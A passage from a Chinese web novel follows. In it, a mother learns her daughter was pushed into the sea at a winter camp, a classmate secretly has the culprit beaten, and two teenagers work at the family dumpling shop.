昨晚她去收拾房间的时候,整理出来的试卷和草稿纸摞起来,高度都到自己小腿。
好在学习上的努力终有回报,人生中还有许多事情,是付出了连半丝回响都无法收到的。
“阿姨好。”
没等到女儿,倒先等来了另一个熟人。
“盛逸?”
应雨柔还没来得及下车,就见他手上拖着两个行李箱,其中一个箱子十分眼熟。
“我来拿吧。”她挑眉,走过去。
“不用不用,”盛逸一边把手往后藏,一边独自往后备箱的方向走去,“没多重。”
“宝贝,你怎么也不搭把手?”
女儿的这个同桌一向是满讲礼数的,出于客气的回应,应雨柔回头不痛不痒地问了一句。
应琮刚刚不远不近地跟在盛逸后面,戴着帽子,双手插在羽绒服的口袋里,脸上没什么表情:“他自愿的。”
“没事的,”盛逸依旧是那副乐呵呵的样子,三两下将她的箱子放进去,后备箱关好,“举手之劳而已。”笑容里居然有两分说不上来的讨好。
“哎呀,”应雨柔想夸他两句,但捕捉到他细微的表情,突然止住了话头。
怎么感觉这盛逸比之前还……
“盛逸,”应琮终于舍得把手拿出来了,她拉开车门,扭头看去,“要不要让我妈送你回家?”
如果没记错的话,盛逸的家好像离学校就两个地铁站的距离,应该和她家也隔得不远。
“哦,对。”应雨柔欣喜地合掌,“阿姨直接送你回去。”
“那就……谢谢阿姨了。”
盛逸摸摸脑袋,也不扭捏,把自己的箱子也放到车上后,顺便报上家的地址。
正值年末、辞旧迎新之际,他家母后每天都忙着处理业务,应对上头的年度考核,就连听闻自己在竞赛中拿了奖牌,一时间也只插空回了个大拇指,什么时候回家也没问,唯一没忘的是转账。
他本来都打算自己坐一个小时的地铁,再转公交车回家。
“高铁上经过了很多隧道吗,为什么妈妈发的信息全部已读不回?”
应雨柔开车载着两个小孩往盛逸家的方向去,想到自己发过去迟迟没有回应的信息,还是忍不住问道。
“啊……这个,”应琮的眼神左右飘忽,“信号是有点不好。”
盛逸扭头看她,眼神灼灼:明明之前还和自己说,如果撒谎的话要用无数的谎言去圆,现在面对应雨柔,倒是睁眼说起瞎话来了。
察觉到身侧像光像电的目光,应琮猜到他在腹诽什么,于是眼一闭心一横,沉默半晌道。
“……其实是因为我被人推进海里,手机进水坏了,所以才没看到信息。”
她声音清清冷冷,但是加快的语速暴露了她的紧张,像山泉激流于车内这个小小空间。
“什么?!”
小泉水落在应雨柔耳朵里,像丢了一颗威力无比的炸弹,她先是险些一个急刹,随后在两个孩子紧张的惊呼中靠边停车,扭头看向后座,几乎要怀疑是自己听错了。
被人,推进,海里。
怎么感觉这几个关键词,自己好像在年初的哪部电影里看过。
“……别紧张,没事的。”
应琮不敢实话实说的很大一部分原因就是如此,她赶紧提醒,故作轻松:“反正事情都过去了。”
“还没过去呢。”
盛逸知道她肯定会避重就轻,索性当她的嘴替,把王子蘩在冬令营的所作所为以及应琮掉海的前后,如竹筒倒豆子般尽数讲了出来。
“怎么会有这么恶毒的人?!”
应雨柔的手狠狠捶了一下方向盘,又心疼地回头看看女儿。
所以她才穿了件自己没见过的衣服——原来是老师好心借的。
“不行,”应雨柔越想越生气,“这种恶劣的小孩不好好教训一顿简直是危害环境。”
王子蘩已经超过十六岁了,又不是什么都不懂的小孩,他已经足够为自己的犯罪行为承担法律责任了。
“你打算怎么教训?”应琮奇怪地问。
毕竟应女士可不是什么□□千金。
“呃。”应雨柔顿了一下,自己还真没有什么好方法,梗了半天,她有些气短,“我认识你们初中老师,这个总能告老师吧?”
虽然不归这老师管,但是迂回帮她传达意见总可以。
最好能把对方家长电话给她,虽然离开了那个圈子,但应雨柔好歹之前也了解过一些人和事。这个王家内部也是挺复杂,王子蘩并非独生,家里人不见得能够完全袒护他。
她要好好问问,王子蘩做了这么过分的事情,学校和他家里要怎么处理。
“哦。”应琮点点头,担心妈妈过分上火,小心翼翼地提醒道,“我的手机……”
“回去就找地方修!”应雨柔难得展露出脾气火爆的一面,“盛逸不是说里面有你们当时对话的录音……”
说回盛逸,应雨柔这才恍然大悟般反应过来,车里面还有另一个人的存在。
“阿姨还得感谢盛逸呢,”她的语气一下子软下来,脸上也笑眯眯的,“如果不是你,阿姨还不知道冬令营里发生了这么多惊险刺激的事情。”
依应琮的脾气,什么都想着自己扛着,自己来解决,一点不把自己妈妈当作排忧解难的好帮手。
“哪里哪里,”盛逸受宠若惊,“都是我应该做的。”
“下次让应琮请你吃顿大餐。”应雨柔道。
闻言,盛逸下意识地就扭头看去,发现应琮脸上并没有丝毫反对的意愿。
“那太好了。”
苦心人天不负。
他的笑容变得更大。
*
“陈主任,你就直接给个明确的回复吧。我也不想天天打电话和你绕来绕去。”
应雨柔忍着怒火,一手轻轻按住自己不断乱跳的眉心。
她没想到,在应琮手机完完全全修好、证据确凿的情况下,繁星国际学校竟然还能为
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了学校名誉,完全无视事实。
陈主任在电话里的声音听起来温和又体贴,实际上说的话却一点不客气。
“好,”应雨柔听出来了,对方就是在搪塞自己,“不清楚是吧,我会让你们清楚的。”
挂断电话后,她怒不可遏,随手拿椅子上的坐垫出气。
“妈妈,你知道吗?”
原本坐在另一边的应琮走来,烦躁地抓抓自己的头发。
“怎么?”
应雨柔把坐垫重新放回原位,在女儿面前,她一向是情绪稳定的。
“王子蘩明明是因为窃题被取消了比赛成绩,结果学校竟然说他是因病不得不退赛,才没有成绩的。”应琮道,“还有不少老师替他觉得惋惜。”
自己专门找了过去的同学打听情况,没想到学校替王子蘩编了这么好的一个理由。
就连王子蘩蓄意伤害自己的事情,她都搞不清楚,到底学校是真不知道还是假不知道,这件事居然就这么轻飘飘地揭了过去,甚至连校内处分都没有给他。
“还真是会给自己脸上贴金。”应雨柔冷哼一声,通过刚刚的电话,她已经看清了这个学校的面目。
“等下我们就去报警。”
应琮自然答应。
“什么报警?”
店里另一个声音响起,略带疑惑。
应琮抬眸看去,一张熟悉的脸,唯一的不同就是没穿制服。
“小珩来啦,”应雨柔将自己的愤怒藏得更深,换上笑容,“今天怎么这么早就过来吃饭?”
“……因为今天想在上课前吃饭。”李珩抿了抿唇,继续问道,“我刚刚来的,店里发生什么事了,需要报警?”
“没什么……”
应雨柔本来打算含糊过去,忽然想到李珩就是繁星的学生,话锋一转。
“小珩,你认不认识一个叫王子蘩的人?”
“王子蘩……”李珩低头想了想,“他似乎和我是一个社团的。”
闻言,应雨柔终于找到了情绪发泄的出口,她简明扼要地把王子蘩的事情说了出来。
“阿姨,您先别急。”
李珩听罢,面上并没有特别震惊或是愤怒,反倒温声安慰起她来。
“我等下上课的时候,可以帮忙问问王子蘩家长的电话。这件事最好私下解决,如果报警的话……恐怕学校也会站在他们那边。”
“可是我们有证据的呀,”应雨柔面露不忿,“而且应琮是受害者。”
“话是这样说,”李珩的唇角扯了扯,笑容浅淡疏离,“我们学校一大半都是有背景的学生,即使是报警也……”
“我明白你的意思了。”应琮打断他委婉的话,“如果能帮忙要到他家长的联系方式的话,十分感谢。”
自己读初中时,大部分的事情都是李正心让自己的秘书来负责,其实应女生并不是非常了解繁星内部的生态环境,可她最是清楚不过。
那个学校基本上只接受非富即贵的学生,但是即使圈层一致,也有很大差异。受家里重视的孩子,培养计划也十分严格,不仅不会和其他二代一样乱来,更不会任由其出现什么意外。
他们的一生就是一个词:按部就班。
而其他不在继承人培养计划里的各种来历的后代,则什么花样都有,能好好学习进入名校自然是好,但要是不务正业也没关系,到点了就打包送出国就行,反正信托够花。
她需要了解的是,王子蘩到底属于哪一类。
“举手之劳。”
李珩轻描淡写地说。
82. 第 82 章
王子蘩最近日子并不好过,他在冬令营耍的小花招当然被家里知道了。但比预想更糟糕的是,事情是经由他同父异母的哥哥传入他爸耳朵里的。
原本还能叫妈妈帮忙粉饰为“年纪轻轻有点手段”的情况,换了张嘴说出来,一下子成了“又蠢又坏”。
老头气得在书房砸了一只花瓶,并且勒令他禁足在家反省。
后代为了一个小小的比赛耍点手段害两个人当然不要紧,但好死不死,他居然算计市长的儿子,还是人家的独子。
虽然私下一直有传闻裴名并不喜爱这个儿子,但他身居高位又正值壮年,离婚多年都没有再娶,也没有别的孩子出现在身边,无论是为了个人形象藏得太深还是真的不热衷造人,都代表着他对那个前妻生的儿子不可能完全不在乎。
况且偏偏是这个关头,王家正在筹备的项目被裴名卡了一道,正是需要运作的时候。
王子蘩被哥哥一句“只顾着自己的蝇头小利,毁了爸爸的大计划”给定了性,连带着妈妈近日也备受冷落。
但那些烦心事远不及眼下。
“为、为什么要这样对我?”
拳头如雨点般落下,王子蘩好不容易借着补习班的由头出门,不成想刚拐进巷子里就遭到了莫名其妙的一顿打。
直到对方似是累了般停下来,王子蘩也已经完全没有力气站起来,颤巍巍地伸手想要去摸自己的脸,发现手抖得不像样。
他能够感受到浑身传来的剧烈疼痛,以及肿胀的面皮。
不知道骨头有没有断。
倚靠着身后的墙,王子蘩强忍着疼痛,抬头看去。
一群凶神恶煞的混混人多势众,一言不发就动手,怎么看都不像是简单的敲诈勒索,而像是在寻仇。
他自诩平时为人处世也算是谨小慎微,不知道何时惹到了这般“大人物”。
“呵。”
为首的少年笑了,唇角弯起的弧度却令人不寒而栗。
“你不知道自己最近惹了什么人吗?”他意味深长道。
“惹了什么人……?”王子蘩不解。
刚刚他光顾着在挨打的时候保护好自己的脆弱部位,现在定睛看来,对方的容貌倒有几分熟悉,在学校里一定打过许多次照面。
“你是李珩?”他虽然脸上满是伤痕,但还是摆出一副镇静自若的模样,凭着微薄的智力猜测,“我们家和你家,没有什么过节吧?”
他们做的是实业,李家做的是艺术品,一向是清高自傲,和他们更是井水不犯河水。
更何况,就算是家族之间发生了利益冲突,李珩专门找人揍自己一顿出气,算什么?
“看来你还是没懂。”
李珩叹了口气,像是觉得无奈,又像是为他的智商感到担忧。
他随便朝身后比了个手势,几名彪形大汉会意,再度将王子蘩围了起来。
眼看着自己又要挨新一轮的胖揍,王子蘩的脑袋飞速转动,自己最近究竟还得罪了什么人。
忽然福至心灵般,他意识到了对方究竟因何而来。
“裴少言!”王子蘩喊了出口,“你是为他出气才来的吧!”
“砰!”
他又挨了一拳,嘴唇很快肿得老高,宛如一只娇艳欲滴的水滴鱼。
不是这个答案吗?
这些大汉打人还格外有技巧,虽然痛但一直避开关键部位。王子蘩被打了那么久,拳拳到肉,几乎要被生生锤成一颗弹牙的人肉丸,眼下更是比死鱼还要缺少反抗的力气。
只是就算是死,自己也要死个明白。
“到底是谁?”他看向李珩,嘴里能够清晰尝到铁锈味。
对方连衣角都没有沾上一丝尘土,更加衬托得自己狼狈不堪,像个蝼蚁。
“给你个提示,”李珩垂眸看他,笑意愈加嘲弄,“的确和那次事件有关。”
裴少言那次?除了当事人,他还害过谁?
……
电光石火间,他想起早就被自己抛之脑后的海边夜晚。
“应琮?”
王子蘩顿时脸色大变,“她……”
“她什么?”李珩走近了些,语气平静,“把她推进海里的时候,你觉得高兴吗?”
“不、不。那是一个意外……”
王子蘩不敢直视他的眼睛,对方漆黑的眸子似乎能够把人吸进去。
“意外?”
李珩脸上的微笑在下一秒顿时消失得无影无踪,他狠狠踢了一脚,正中王子蘩的胸膛。
胃袋一下扭曲缩紧,王子蘩瞬间吐出一口酸水。
恶心得连一旁的彪形大汉都嫌恶般撇开脸。
“哦?既然是意外,那你为什么不及时打电话救援?我听说她摔下去的水,并没有很深。”
李珩听起来正很有耐心地顺着他的话说下去。
只不过行动上,他一瞬间扯紧王子蘩的衣领,力道之大,几乎要把他整个人从地上揪起来。
“……我一时着急,乱了分寸。”
脖颈处被人遏制住,王子蘩的脸涨得通红,说话也断断续续的。
“你嫉妒的人明明是裴少言,为什么要伤害到应琮身上?”
蠢货,连裴少言那样的懦夫都对付不了,竟敢对应琮动手。
李珩连多看他一眼都觉得恶心,嫌恶地皱了皱眉,而后猛地松开自己的手。
终于解脱束缚,王子蘩倒在旁边,剧烈的咳嗽后,他大口大口呼吸着空气。
“谁说我不嫉妒她,”他似乎被这几天遭受的各种厌恶眼神刺激到,不怕死也要说,“我嫉妒应琮。”
他嫉妒应琮,出于各种理由的嫉妒。
总是故作清高,对身边的人总是不冷不淡,营造出自己和其他纨绔子弟不一样的氛围。
明明她也不比自己更有资本,却又一副为自己而活的独立模样。
凭什么?
她长得漂亮也不安心当个花瓶,偏偏天资聪颖。虽然她一直在学校里很低调,但根据传言:她和她妈妈在争夺家产中棋差一招,一起被扫地出门,但哪怕这样,都能在公立学校里拿到竞赛名额。
像应琮这样的人,但凡出生在王家,根本不会拥有继承权,但也基本和自由绝缘了,肯定一到年龄就早早被推出去物色联姻,就像他姐姐那样。
他对应琮的情绪并不强烈,但很复杂,如果她天生就是一个普通家庭的女孩,他不会多看一眼;抑或是如果她现在怨天尤人,他兴许还会报以同情。
可她偏偏脱离了那样的环境,又过得那么开心,王子蘩既觉得她天真得可笑,又忍不住嫉妒得发狂。
他在冬令营里见到应琮,心中并没有丝毫重逢的喜悦。
“真是个阴毒的懦夫。”
李珩见他表情几度变换,猜测肯定心里没说好话,又踢了过去。
如果他的调查没有出错的话,王子蘩的目标的的确确只有裴少言。
王子
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蘩明明是因为陷害他未果又碍于裴名的势力,所以退而求其次,抽刀转向更弱者,选了毫无家世可言的应琮作为出气的对象。
只是很可惜,应琮并不如他想象中的势单力薄。
“应琮不是你可以惹得起的人。”李珩道,“你最好给我夹着尾巴做人。”
王子蘩浑身瘫软,连声诺诺。
“如果今天的事情,走漏了半点风声,传到了她的耳朵里……”他又露出一个笑来,冰冷又瘆人,“那么我保证你的下场会比今天还要惨。”
“我记得,”李珩提醒道,“王叔叔好像不止有你一个儿子,一旦你谋杀未遂的罪名成立……他会不会立刻‘断尾求生’呢。”
王子蘩咬牙,嘴角渗出血来。
他爸年轻时就够风流,现在更是儿子满地开花。
虽说他陷害裴少言的事情现在好像差不多被摆平了,但推应琮入海的确有可能算得上“杀人未遂”……想来家里也没有人愿意保他。
尤其是,现在不知为何,李珩插手了这件事。
“她到底是你什么人?值得你这样替她报复?”
见对方要走,王子蘩没忍住,问了出口。
应琮一向很低调,其实到现在他都不知道她是哪家的。
李珩转身,低头看着他,再度叹了一口气。
“第一,我并不是在维护她。”
他语气坦然,像是念课文一般平淡地陈述,没有人会怀疑他的话。
“第二,我和她是这个世界上为数不多的、关系亲密的人。”
听了他的话,王子蘩的面容都变得扭曲了些。
难怪李珩今天像发疯了一样,原来是因为和应琮关系匪浅。
她还真是红颜祸水,一个裴少言、一个李珩,哪个都不是自己能惹得起的。
应琮身边围绕了太多男人,像是艳丽的花朵旁边经常盘踞着毒蛇一般,实在是很危险。
自己真是莽撞了,眼下结结实实地落了把柄在别人手里,还要像一只狗一样摇尾乞怜,求别人高抬贵手。
更不知道本就在气头上的老头会作何反应。
看着李珩毫不留情离去的背影,浑身脱力的王子蘩倒在地上,久久无法起身。
*
自己也算是替应琮出气了吧。
虽然之前说好的是让对方家长和她们私下解决,但……李珩觉得这样有点便宜王子蘩了。
他可是罪魁祸首,应琮落水后受到的伤害可不是简单的用钱可以解决的。
翻看着自己手机里存着的、对方挨打时的照片和视频,又打开自己和应琮聊天的界面,他的手指一顿,面露犹豫。
如果直接把这些东西发给她,应琮会不会觉得自己是个充满暴力基因的人。
毕竟从认识到现在,自己在她面前的形象一向很好。
彬彬有礼,高贵矜持,怎么看都和打架斗殴扯不上关系。
李珩轻叹一声,退出和她干净无一物的聊天框。
自己太过保持距离,以至于现在想要说句替她报仇的话,又不知道如何开口。
要试着做出改变吗?
他心下犹豫。
【天理昭昭,报应不爽。】
最后,李珩发了条仅应琮可见的朋友圈。
她会看到吗?看到了又会作何评价呢?会好奇地来问自己吗?
李珩心里想着,躺在床上辗转反侧,在幻想中居然有些兴奋到难以入眠。
83. 第 83 章
然而李珩所处心积虑意有所指的朋友圈,应琮根本没看到。
并非故意,只是她正艰难地面对自己不得不接受的至暗时刻。
“一定要喝吗?”
她试探性地向妈妈投去哀求的目光。
“那当然,必须要全部喝了。”应雨柔毫不客气道,“这可是妈妈我特意去找老中医开的方子,你美芳阿姨精心熬出来的药。”
“可是我那天已经看过医生,吃过药了。”
应琮对中药向来是敬谢不敏,几乎不敢去看那碗黑乎乎的东西,光是用闻的都有点难受。
“快点喝。”应雨柔在这方面很有母亲的态度,充耳不闻女儿的哀嚎,“等下药冷了,还得重新热。”
妈妈的态度难得如此坚决。无奈,应琮只好紧捏着鼻子,脖子一梗,咕咚咚把药灌了。
“你看,喝药其实没那么难。”
应雨柔满意地接过女儿手上拿着的空碗,又往她的嘴里塞进去一块芒果干。
说起来容易,即使有酸甜的芒果干,应琮依然能够感受到自己唇齿间萦绕不去的中药味,几欲作呕。
她倒在自己的床上,像案板上的鱼,眼睛里已经失去了光彩。
“对了,”应雨柔离开房间前,忽然想到了什么,微微一笑,“明天,你要不要跟我一起去店里?”
“为什么去店里?”应琮慢慢地翻了个身,随手打开聊天软件,动态里丁一锐发了一张游戏战绩图,她便点了个赞。
下一秒丁一锐的信息就发过来了,问她最近正在干啥。
应琮顿了顿,没有立刻回复。
“因为美芳阿姨今晚就要回老家,”应雨柔道,“店里到时只有我一个人,担心会忙不过来。”
“之前请的兼职生呢?”应琮奇怪道,她记得妈妈忙不过来的时候,会请些短期兼职。
“现在快过年了,不容易请到兼职生。”兼职的学生们到了寒假基本都会回老家,应雨柔叹了口气,旋即又换上一副笑脸,“你要是过来的话,我可以按照兼职的标准给你开工资。”
应琮心念一动,虽说她手上也有零花钱和过生日时剩下的红包,但要是能多赚点,当然是极好的。
她保送事情基本尘埃落定,还想给程依依送个礼物呢。
虽然自己是从妈妈手上赚钱,不过俗话说得好,肥水不流外人田嘛!
“没问题!”
她爽快地答应,没忘了回复还在进行的聊天框:“在家喝中药。”
丁一锐发了个同情的表情,然后显示“正在输入中”好一会儿。
应琮见他一时半会儿没有回复,就把手机放在一边了。
自然也没看到他发了一条“要不要和我跟盛逸三排?”又撤回了。
最后看手机的时候,只见一条干巴巴的“哈哈,我也在家,不过盛逸每天都去图书馆写作业呢。”
应琮想了一下刚刚一瞥看到的游戏id,回他:“看来图书馆网速还挺好。”
她倒是没有作业负担了,想来老师也能接受。
*
为了迎接新年,街道焕然一新,就连树枝上都缠绕了许多细小的夜灯和红色的飘带。想来到了晚上,整条街一定会呈现出流光溢彩的喜庆氛围。
饺子店的门前也多了两只鲜红的灯笼。
“穿上吧。”
应雨柔忙完开业前常规的清洁工作后,给女儿拿来一件粉白色的围裙,可以说这是店里的“制服”。
“……好。”
应琮把自己的长发尽数扎起来,圆滚滚地盘在头顶。
毕竟现在是兼职,不是平时放学后来店里帮忙,自然要打扮得正式些,显得专业。
“欸对了,”应雨柔给收银台旁的猫碗里倒了点食物和水,“很奇怪,最近为什么没看到少言出来遛狗?”
“不知道,”应琮恰好抱着咪咪过来,听到这话表情一淡,微不可见地撇嘴,“可能是过年跟家里人回老家了吧?”
海边烤肉一别,她就没再见过裴少言一面。
两个人认识这么久,各种联系方式都加上过,但对方既然没有来找她,她也不想再主动说些什么。
实际上,要不是妈妈突然提起,她几乎要忘了还有这件值得往日的她耿耿于怀的事情。
“小婷还养在干洗店阿姨那边吗?”应琮问,今早她们出门的时候,干洗店还没有开门。
“是吧,”应雨柔道,“你们去参加冬令营的时候,狗狗就托付给那个阿姨了。也不知道少言回老家有没有带走它。”
这段时间,她想要改造一下厨房动线,也是为着店里店外的各种琐事忙忘了,每日早出晚归的,很难见到狗狗。
应琮没说什么,蹲在地上轻轻把猫放下来。
咪咪的尾巴微微向上弯曲着,很是矜傲地扬起自己的脸,闲庭信步。
应琮依旧保持着刚才的姿势,凝视着它安静喝水的样子。
“好了,”应雨柔打断她发猫懵,捏捏她盘起来的头发包,“过来干活。”
人和猫咪不一样,人要干活才行。
经过一上午的练习,应琮认为自己已经能够在店里独当一面;无论是煮饺子、上菜还是负责卫生、打印小票,她都干的得心应手。
就连应雨柔也不禁感慨,高中生的学习能力确实强。新的脑子真心好用。
好好处理生活中的小事的确可以彰显自身价值,加上应女士提供的情绪价值,应琮也忍不住有些自傲:自己简直就是兼职生中的天才。
不过已经到了中午,店里还没迎来今天的第一个客人,就连街上,也净是些步履匆匆的行人。
原本还准备大展身手,雄心万丈的应琮,不免觉得有些乏味。
她反靠在角落的椅子上,百无聊赖地掏出手机,开始漫无目的地刷起来。
有些同学寒假一到,就马不停蹄地开始全世界巡游,朋友圈里全是精修九图外加在某地的定位;有些同学显然是回到了老家,朋友圈里充满了乡野情调、农村风情。
丁一锐前几天就在老家的农地里cos田园版·陶渊明中。
哦,怪不得他和盛逸只能在游戏中团聚。
一连看了好几个人回老家后在朋友圈发出的各种感慨,应琮放下手机,表情惆怅。
严格来讲,她的老家在F国。
奶奶虽然远在异乡,但老人家的前几年身子骨还比较硬朗,每逢春节都会特意回来,等到在江城过完年,开春了才会回去。
应琮虽然恨李正心,但却并不讨厌奶奶。
奶奶是一个温和、幽默的人,家里养着一只耳朵大大、会时不时发出怪叫的
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小狗。她会用烤箱做出来许多香气扑鼻的美食,夏天会带着她一起去森林小屋里野炊,冬天一起去山上滑雪。
而往年的这个时候,奶奶就会雷打不动地发来信息,让大家做好迎接她回国的准备。
即使李正心已经再婚,但奶奶依然是奶奶。当时除了自己,应女士也只唯一预告了她离婚的事情。
虽然老人家一如既往支持她们母女,但的确不知道还能不能一起过节。
“应琮。”
正在她回想着过去和奶奶相处的点点滴滴时,心里略微伤感的时候,冷不丁地听到有人在叫自己。
抬头看去,李珩出现在店里。
应琮下意识地起身,没有忘记自己现在是店员的身份。
“要吃点什么?”她问。
李珩挑了个她隔壁的位置坐下,将外套挂在另一侧的椅背上。
“随便,什么都可以。”
应琮点点头,她已经习惯了对方莫名其妙地出现在店里,又悄无声息地离开。
“那你等一下哦。”应琮往后厨走去,作为服务生的语气,比起往日要柔和得多。
“等等。”
鬼使神差的,李珩忽然叫住她。
她知道自己替她做了什么吗?
到底有没有看到那条朋友圈?
“什么?”应琮扭头,疑惑不解,“你有什么忌口吗?”
“算了,”李珩摆摆手,“没什么。”
他不是来邀功的,不能表现得太热切,也不能太想得到别人的肯定。
应琮三两步走进后厨,妈妈正慢悠悠地包着饺子,丝毫不知道店里来了一位珍贵的客人。
“李珩来了,”她靠在门边,“他说随便吃什么都可以。”
“那简单,我现在就煮一盘饺子。”
李珩常常来店里,堪称是骨灰级忠实老客户,应雨柔对他的口味了如指掌。
锅里的水一直沸腾着,她很快就捞出来一盘蒸汽袅袅的饺子。
应琮接手转移到木质托盘上,小心翼翼地给李珩端过去。
“这是王子蘩家长给的赔偿,密码是六个零。”
饺子上桌,李珩并没有立刻吃饭,反倒是从口袋里拿出一张卡,放在桌面上。
“啊……?”
应琮迟疑地眨了眨眼,难得感到有些懵。
她已经了解到,王子蘩家里也不是什么善茬,原本还以为要和对方纠缠一番,没想到眼下跳过了家长对话的部分,直接就得到了赔偿。
难道是她误会了?王子蘩的家长这么讲文明好说话的吗?
不过,为什么要让李珩转达。
“别多想,”李珩似乎是看出了她的犹疑,开口解释,“因为我和他刚好是同学……又和你认识,所以才顺便帮忙。”
“谢谢你。”应琮感激道,“虽然说是顺便,但也让你费心了。”
本来对方为她们做到这个份上的。
“都、都说是顺便了。”
明明收到了自己预想中的回应,李珩却有些手足无措,脸上迅速泛起薄红。
“不打扰你吃饭了,”应琮没忘自己的兼职生身份,把卡装进口袋后,她转身离开,“我去前面扫地。”
“好。”
李珩将头别过去,暗暗掐了自己一下。
84. 第 84 章
好无聊。
盛逸躺在床上,懒散地伸了伸手臂。
他的手臂很长,伸直了可以直接够到床头的游戏机和手柄。
但他已经玩腻了。
还有一周才正式过年,家里只有自己一个闲人不上学不上班,成日里无所事事。不是瘫倒在沙发上,就是躺在自己的床上,盛逸每天的运动范围绝不超过方圆十米。
换做以往盛逸早就跑到天南地北去玩了,毕竟他家人一向管得宽松。
只是今年不一样,就像妈妈那天开玩笑说的,他的心像是被什么人拴住了,这次终于飞不走了。
他现在心心念念的只有……
但很可惜,自己的军师aka僚机丁一锐又早早回了老家,导致盛逸想要约应琮出来玩的心愿,也迟迟没实现。
盛逸先前好几次在网上旁敲侧击的试探,应琮的回复总是说自己在忙,没有空出来。
文字很难传递出真正的情绪,几番冷遇之后,他有些委屈、有些失落、渐渐不自信起来。也不知道应琮是真的在忙,还是觉得自己邀请的理由太拙劣,抑或是单纯不愿意和他一起出来。
想到最后一种可能性,他崩溃地拿起枕头直撞脑袋。
自从冬令营一别,他俩就像牛郎织女(自封)一样没有再见过面。平时上学,两个人作为同桌朝夕相处的时候,压根体会不到思念、焦灼的情绪,现在只是短短几天不见,他就开始患得患失起来。
怪不得古人说“一日不见如隔三秋”。
想到这里,他忽然“啊啾”“啊啾”“啊啾”,连着打了三个喷嚏。
似是福至心灵,盛逸翻了个身,抓起手机,打开朋友圈一目十行地浏览起来。
虽然知道应琮很少发朋友圈。
冷不丁地看到照片里出现的熟悉身影,盛逸原本滑动的手指一顿,面容不觉带了一丝柔和。
照片里的场景看起来是应琮家里的饺子店,自己心心念念的织女本人,恰好出现在照片的右下角,手上拿着个托盘,身上穿着件粉白色的围裙,更加衬托得面似桃花。
发朋友圈的人正是应雨柔,她感慨道,快过年了店里难招到兼职,还好女儿贴心。
原来,应琮是真的在忙,她并不是在找借口婉拒自己。
一想通这个关节,盛逸也不觉得失落了,浑身上下神清气爽,索性点开大图来看。
等等,注意到有什么不对劲,他眼睛一眯,单手放大图片中的某处。
不对。
角落里怎么还坐着一个人?
这发型、这打扮……分明是自己认识的那位。
盛逸暗暗咬牙。
都快要过年了,他不相信李珩还要到附近上补习班。
假用功,此乃其罪一。
更何况街上能够吃饭的餐厅有那么多,他还要专门跑到应琮家的饺子店里吃饭。
醉翁之掩耳盗铃,此乃其罪二。
是自己大意了,这几天光顾着在家里蹲着长蘑菇,都忘记去饺子店里看看了。
先前他理所应当认为学校放假又临近年关,阿姨应该不会再开店。
大意失荆州,此乃罪己诏。
盛逸一跃而起,随手抓件外套就准备出门。
刚走到门口,他脚步忽然一顿。
自己就算过去了,又能说什么呢?
李珩是去吃饭的,按道理来说他是饺子店里的客人,自己没有理由阻止他的到来。
而且搞不好还会惹得应琮和阿姨不快。
盛逸难得聪明一回,坐在玄关处思考起对策来。
心动不如行动,他打开自己和应雨柔的对话框。
【阿姨你好,我有个问题想问一下。】
【盛逸好,怎么啦?】
现在并非饭点,应雨柔也很快回复道。
【刚刚看到阿姨发的朋友圈,我想知道饺子店里还需要店员不?】
盛逸发了个害羞挠头的表情包。
【你想要过来兼职吗?】
应雨柔很快猜中了他的意图。
【因为过年的时候,我想要给爸妈送些礼物,但是手上的钱还差一些……找了其他的兼职,但是他们都没同意。】
养爹千日,用妈一时。此乃兵法。
应雨柔并没有立刻回复他,或许是有自己的思虑,也可能是在问应琮的想法。
盛逸看到屏幕上显示对方正在输入,可删删改改,应雨柔还是没有发来一句话。
自己是不是说错了什么话。
他盯着刚才发出去的那些话,有些紧张,甚至有点不敢去看对话框。
放在旁边的手机,终于传来两声震动。
【如果你方便的话,下午三点来店里帮忙怎么样?从今天开始,就是兼职第一天(*^_^*)】
看到信息的瞬间,盛逸差点在原地蹦起来。
太好了!
不愧是应琮的妈妈,太善良了。
*
“你为什么突然要过来兼职?”
应琮瞥了一眼自己旁边正往头上套围裙的某人。
下午,应女士突然通知说店里要多个帮工,没想到来人竟是这家伙。
“勤工俭学啊。”
盛逸无比自然地开口。
见他背后的围裙皱成一团,应琮叹了口气,伸手过去帮他整理好。
“多谢。”
注意到她的动作,盛逸转身,脸上变得笑眯眯的,随即礼尚往来般,用指尖轻轻将应琮被围裙带子压住的衣领勾了出来,两人的距离一下子更近了。
“难道你不想见到我吗?”
“……”
听他话里的语气有点不对劲,应琮转身就走。
“我要负责干什么呢?”
见她逃跑,盛逸收起调侃,立马跟了上去。
“暂时没什么需要你帮忙的。”
应琮手上拿着块抹布,偶尔在桌子上擦一擦。
今天都没什么生意,也没那么多需要搞卫生的地方。
“应琮同学,请正视我的工作。”盛逸义正言辞起来,“我过来是为了劳动的。”
“盛逸,”应雨柔从后厨探出个头来,无比顺畅地插入二人的对话,“门口这条街的尽头有一家超市,你能不能去买瓶生抽回来?”
“没问题。”
盛逸连围裙也不摘,兴冲冲地就出门了。
应雨柔赶紧拿着空瓶补上一句:“要这一款的哦!”
“好嘞!”
“……打工还这么高兴,奇怪。”应琮小声嘀咕道。
买瓶酱油而已,还以为让他去衔飞盘。
*
看着面前略有几分熟悉的脸,盛逸默默提紧了手上装着酱油的塑料袋。
他很想问,自己不过买瓶酱油而已,至于触发特殊剧情吗?
“不枉费我大冷天出来一趟,还真是能遇到熟人哈。”
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“喂,臭小子,还记得我吗?”
冬天到了,黑背心大哥也不穿黑背心了,穿了件带毛领的皮夹克cos古惑仔,看上去颇有几分年代感。
他的身后跟了另一个比他还要高大壮硕的男人,上半身只穿件高领毛衣,下巴上略带青色的胡茬,脸上没有什么表情可言,投射过来的眼神实在算不上友好。
盛逸往左后撤一步,小心地观察自己如果要逃跑时可以选择的路线。
三十六计走为上,此乃孙子兵法。
“看来是还记得了。”
黑夹克伸出手,很不屑地用力往后一推他的肩膀。
自从上次滑铁卢,被抓进警局后,他无时无刻不在复盘那晚的“战斗”。与其说自己是技不如人,倒不如说是对方过分狡诈,竟然给他们找到机会报警。
眼下快要过年,自己在老家的堂哥也来了江城,他们二人在西街接连晃悠了这么久,总算逮到了盛逸落单的机会。
这回,他当然不会再犯同样的错误。
“大哥,你认错人了。”
自己正处于劣势,识时务者为俊杰,盛逸客客气气地开口。
他还靠着这张脸去卖乖走鹊桥呢,自己想演的是恋爱番,今日的主线任务也不是战斗。
“怎么可能认错,我对你这张脸记得可太清楚了!”
黑夹克狞笑一声,随即厉声道,挥出去的拳头带着风声而来。
盛逸迅速抬起左臂,摆出标准的格挡姿势,心里庆幸这一款酱油不是玻璃瓶包装。
“住手!!”
一道女声,出乎意料地大呵,阻止了局势。
